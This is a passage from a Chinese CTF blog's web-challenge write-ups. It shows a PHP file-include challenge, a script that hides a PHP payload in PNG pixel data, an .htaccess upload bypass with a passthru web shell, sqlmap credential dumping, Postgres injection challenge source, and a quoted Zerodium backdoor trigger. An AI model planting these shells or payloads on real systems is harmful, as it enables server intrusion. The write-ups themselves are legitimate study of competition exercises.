span>
if(!$first){
die("发现了奇怪的东西2333");
}
$size = min(imagesx($first), imagesy($first));
unlink($file);
$second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);
if ($second !== FALSE) {
imagepng($second, $file);
imagedestroy($second);//销毁,清内存
}
imagedestroy($first);
}

function GenFiles(){
$files = array();
$str = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$len=strlen($str)-1;
for($i=0;$i<10;$i++){
$filename="php";
for($j=0;$j<6;$j++){
$filename .= $str[rand(0,$len)];
}
// file_put_contents('/tmp/'.$filename,'flag{fake_flag}');
$files[] = $filename;
}
return $files;
}

$file = isset($_GET['4475157a-539c-4c4e-b0c4-d2d0748dea47'])?$_GET['4475157a-539c-4c4e-b0c4-d2d0748dea47']:"404.html";
$flag = preg_match("/tmp/i",$file);
if($flag){
PNG($file);
}
include($file);
$res = @scandir($_GET['6cbb3d33-55f2-4cca-af8e-8f60733f2667']);
if(isset($_GET['6cbb3d33-55f2-4cca-af8e-8f60733f2667'])&&$_GET['6cbb3d33-55f2-4cca-af8e-8f60733f2667']==='/tmp'){
$somthing = GenFiles();
$res = array_merge($res,$somthing);
}
shuffle($res);
@print_r($res);
?>

第一步是过二次渲染, Nu1l给出的生成脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>

国赛的时候也遇到了一个项目可以生成.https://github.com/huntergregal/PNG-IDAT-Payload-Generator/

想到的思路是利用文件上传产生临时文件/tmp/xxxxxx然后包含, 列目录刚好可以找到文件名,,,但是比赛的时候根本跑不出来23333(理论上是可行的

看了Nu1lWp发现还要结合另外一个php7的bug, 原理参考Guoke师傅 https://guokeya.github.io/post/cbMk6sLKe/ , 这题思路太🐂了.

EasyWeb

这个题太迷惑了,平台不是不让扫的吗..

第一层: nmap扫描到36842端口是一个web服务, 登陆处存在sql注入

image-20210615120254630

直接sqlmap拖下admin账号密码, admin/99f609527226e076d668668582ac4420

然后nmd网站名字叫EasySSRF… 找ssrf找了好久,最后发现是个upload??

在/file存在文件上传, 绕过方式可以是.htaccess

1
AddHandler php5-script .test
1
<?php passthru($_GET[cmd]);

然后发现无权限读flag,

image-20210615120659975

hint

image-20210615120716716

然后尝试suid提权失败. 发现内网8006还有个jboss.反弹shell失败,也不会搭代理也不会打jboss就放弃了.

后面一步是部署war包打jboss.

EasySQL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
const salt = random('Aa0', 40);
const HashCheck = sha256(sha256(salt + 'admin')).toString();

let filter = (data) => {
let blackwords = ['alter', 'insert', 'drop', 'delete', 'update', 'convert', 'chr', 'char', 'concat', 'reg', 'to', 'query'];
let flag = false;

if (typeof data !== 'string') return true;

blackwords.forEach((value, idx) => {
if (data.includes(value)) {
console.log(`filter: ${value}`);
return (flag = true);
}
});

let limitwords = ['substring', 'left', 'right', 'if', 'case', 'sleep', 'replace', 'as', 'format', 'union'];
limitwords.forEach((value, idx) => {
if (count(data, value) > 3){
console.log(`limit: ${value}`);
return (flag = true);
}
});

return flag;
}


app.get('/source', async (req, res, next) => {
fs.readFile('./source.txt', 'utf8', (err, data) => {
if (err) {
res.send(err);
}
else {
res.send(data);
}
});
});



app.all('/', async (req, res, next) => {
if (req.method == 'POST') {
if (req.body.username && req.body.password) {
let username = req.body.username.toLowerCase();
let password = req.body.password.toLowerCase();

if (username === 'admin') {
res.send(`<script>alert("Don't want this!!!");location.href='/';</script>`);
return;
}

UserHash = sha256(sha256(salt + username)).toString();
if (UserHash !== HashCheck) {
res.send(`<script>alert("NoNoNo~~~You are not admin!!!");location.href='/';</script>`);
return;
}

if (filter(password)) {
res.send(`<script>alert("Hacker!!!");location.href='/';</script>`);
return;
}

let sql = `select password,username from users where username='${username}' and password='${password}';`;
client.query(sql, [], (err, data) => {
if (err) {
res.send(`<script>alert("Something Error!");location.href='/';</script>`);
return;
}
else {
if ((typeof data !== 'undefined') && (typeof data.rows[0] !== 'undefined') && (data.rows[0].password === password)) {
res.send(`<script>alert("Congratulation,here is your flag:${flag}");location.href='/';</script>`);
return;
}
else {
res.send(`<script>alert("Password Error!!!");location.href='/';</script>`);
return;
}
}
});
}
}

res.render('index');
return;
});

postgres sql的注入. 知识盲区,

第一层是数组绕过/密码学attack?

other

别的Java题/xss 就没看了.

总结

爬去学习了.wtcl

--> 前言题目质量很好,奈何自己太菜, 只能赛后看着Nu1l的WP复盘一下. 被re 和 pwn师傅带飞的感觉太好了( XD 解了三道题,还有几道有思路也记录一下. web2 pop_mastertcl只能写半自动脚本, Nu1l的脚本很漂亮,但是看不懂( .. 利用脚本找出pop链然后手动搓链子. 只贴个脚本在这 1234 ......
Readmore
CTF WP

2021虎符初赛Web题解

签到前几天的Git服务器被黑留的后门, 不出网有点坑 ( POC: https://twitter.com/scurippio/status/1377029387334393861 1User-Agentt: zerodiumsystem("cat /flag"); unsetme代码: 123 ......

红名谷杯数据安全大赛Web题解

happysql考察: regexp盲注 + 无列名注入 + bypass information 网站只有基本的注册和登陆功能,因为没有什么回显所以没考虑二次注入. 注册处限制字符长度,所以优先考虑登陆位置 测得Login处SQL存在注入 , 先构造闭合 然后构造sql语句, 过滤了好多,但是regexp未过滤. ......

MAR-DASCTF明御攻防赛题解

baby_flaskJinja2 模板的 SSTI , 过滤的东西有点多. 123456789Hi young boy!</br>Do you like ssti?</br>blacklist</br> '.','[','\&#x ......

[网鼎杯-2020-青龙组]filejava题解

文件读取有一个文件下载的接口 然后测试读取文件. web目录下的树状图 12345678910111213141516171819202122E:\CODE\JAVA\JAVAWEB\FIRSTWEB\WEB│ checkbox.jsp│ hello.jsp│ index.jsp│ message.jsp│ ......

dvCTF2021-writeup

dvCTF2021老外办的一个小比赛 (打比赛还能学英语 官方的wp,docker等 https://github.com/louiswolfers/dvCTF2021 记录几个比较有意思的题目 webLightweiight My company made me write a login page to authe ......

AntxD^3CTF部分wp

8-bit pub Try to execute /readflag Nodejs代码审计 绕过admin的登陆. 12345678910111213141516171819202122const sql = require("../utils/db.js");module.exports = ......

通过一道题了解PaddingOracleAttack&&CBC-Byte-Flipping-Attack

0x00 AES-CBC简述 加密: Plaintext: 明文,以16字节为单位分组.最后一块不满16字节的需要用padding填充 以分组8个字节为例:需要填充n个字节,则n个字节都填充0x0n。如果恰好全满,填充8个0x08组成新块。OFB和CFB不需要填充 AES填充遵循 PKCS #7 ......

通过几道题目了解pickle反序列化

0x00 前言通过几道题了解pickle反序列化 0x01 [CISCN2019 华北赛区 Day1 Web2]ikun最简单的__reduce__, (忽略别的一些知识点,只看pickle反序列化这部分.) 关键代码: 12345678910class AdminHandler(BaseHandler):# ... ......

GWCTF2019枯燥的抽奖-PHP伪随机数问题

[GWCTF 2019]枯燥的抽奖关键js代码 然后到check.php 直接给了代码 12345678910111213141516171819202122232425262728<?php#这不是抽奖程序的源代码!不许看!header("Content-Type: text/html;char ......

GYCTF2020-FlaskApp&Flask pin码伪造

随便输点什么,让程序报错 12345678910@app.route('/decode',methods=['POST','GET'])def decode(): if request.values.get('text') : ......

BJDCTF2020-EasySearch&&SSI

之前文件上传只知道可以上传.shtml文件,但是不知道怎么利用. 现在才知道这个叫 服务器端包含注入 https://www.secpulse.com/archives/66934.html Server Side Includes 服务器端包含 命令执行poc 1<!--#exec cmd=" ......

PHP模板注入

主要是记录下一些payload smarty: 12345678910111213141516{if readfile('/flag')}{/if} smarty中的{if}标签中可以执行php语句{$smarty.version ......

ctfshow-JWT-WP

345抓包发现有auth=eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3sic3ViIjoidXNlciJ9XQ base64解开后是{"alg":"None","typ":"jwt"}和[ ......